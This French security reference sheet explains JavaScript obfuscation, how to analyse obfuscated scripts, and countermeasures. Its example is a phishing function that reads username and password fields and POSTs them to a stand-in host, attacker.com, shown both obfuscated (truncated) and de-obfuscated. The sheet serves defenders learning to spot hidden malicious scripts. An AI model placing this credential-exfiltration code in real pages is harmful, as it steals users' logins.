Javascript - Obfuscation

Description

L'obfuscation en JavaScript consiste à rendre le code source d'une application difficile à comprendre et à analyser pour les humains. Cela peut être fait pour masquer des activités malveillantes, protéger les secrets de l'application ou simplement rendre le code moins lisible. Il existe plusieurs méthodes d'obfuscation en JavaScript, telles que le renommage de variables, l'utilisation de fonctions anonymes ou d'évaluations de code pour cacher du code, ou encore le chiffrement du code.

Pré-requis d'exploitation

Pour exploiter cette vulnérabilité, il est nécessaire d'avoir accès à une application comportant un script JavaScript obfusqué.

Connaissances nécessaires

- Connaissances de base du langage JavaScript ;
- Maîtriser les différentes méthodes d'obfuscation en JavaScript.

Outils nécessaires

- Avoir accès à une console de navigateur (Firefox, Chrome) ;
- Outil d'obfuscation et de dé-obfuscation.

Flux d'exécution

Explorer

Naviguer sur l'application afin d'identifier le ou les scripts JavaScript qui sont potentiellement obfusqués et analyser les fonctions qui génèrent l'obfuscation.

Expérimenter

Tester les différentes méthodes d'obfuscation sur du code JavaScript simple, comme une fonction de calcul de somme, pour comprendre comment elles fonctionnent et quelles sont leurs limites.

Exploiter

Conséquences potentielles

Une exploitation réussie de ce type de vulnérabilité peut permettre :

- De retrouver des informations sensibles telles que des identifiants de connexion ;
- L'accès à des fonctionnalités sensibles.

Contre-mesures

Les contre-mesures suivantes peuvent être mises en œuvre :

- Appliquer des contrôles de qualité de code pour détecter et corriger les vulnérabilités cachées par l'obfuscation ;
- Utiliser des techniques de protection de code plus efficaces, comme le chiffrement de code ou la compilation de code ;
- Former les développeurs à la sécurité informatique et à l'importance de la lisibilité du code ;
- Éviter d'utiliser l'obfuscation en JavaScript pour protéger des informations sensibles.

Comment cela fonctionne

Les scénarios suivants peuvent être joués via l'exploitation de cette vulnérabilité :

- Retrouver des traces d'activités malveillantes comme des scripts de phishing ou des malwares.
- Retrouver des informations sensibles, comme des clés API ou des mots de passe.

Exemple 1

Voici un exemple de code JavaScript contenant un script de phishing obfusqué utilisant la méthode de renommage de variables :

```
function _0x1234() {
  let _0x5678 = document.getElementById("username").value;
  let _0x9abc = document.getElementById("password").value;
  let _0xdef0 = {
    username: _0x5678,
    password: _0x9abc
  };
  let _0x4567 = new XMLHttpRequest();
  _0x4567.open("POST", "https://attacker.com/steal_credentials");
  _0x4567
```

Voici ce même code JavaScript après dé-obfuscation :

```
function sendCredentials() {
  let username = document.getElementById("username").value;
  let password = document.getElementById("password").value;
  let data = {
    username: username,
    password: password
  };
  let xhr = new XMLHttpRequest();
  xhr.open("POST", "https://attacker.com/steal_credentials");
  xhr.setRequestHeader("Content-Type", "application/json");
  xhr.send(JSON.stringify(data));
}
```

Références

URL :

- https://blog.jscrambler.com/javascript-obfuscation-the-definitive-guide
- https://www.sstic.org/media/SSTIC2019/SSTIC-actes/under_the_dom/SSTIC2019-Article-under_the_dom-abgrall_gombault.pdf
- https://www2.cs.arizona.edu/~debray/Publications/js-deobf-full.pdf

Retour fiches vulnérabilités

- Cyber fiches vulnérabilités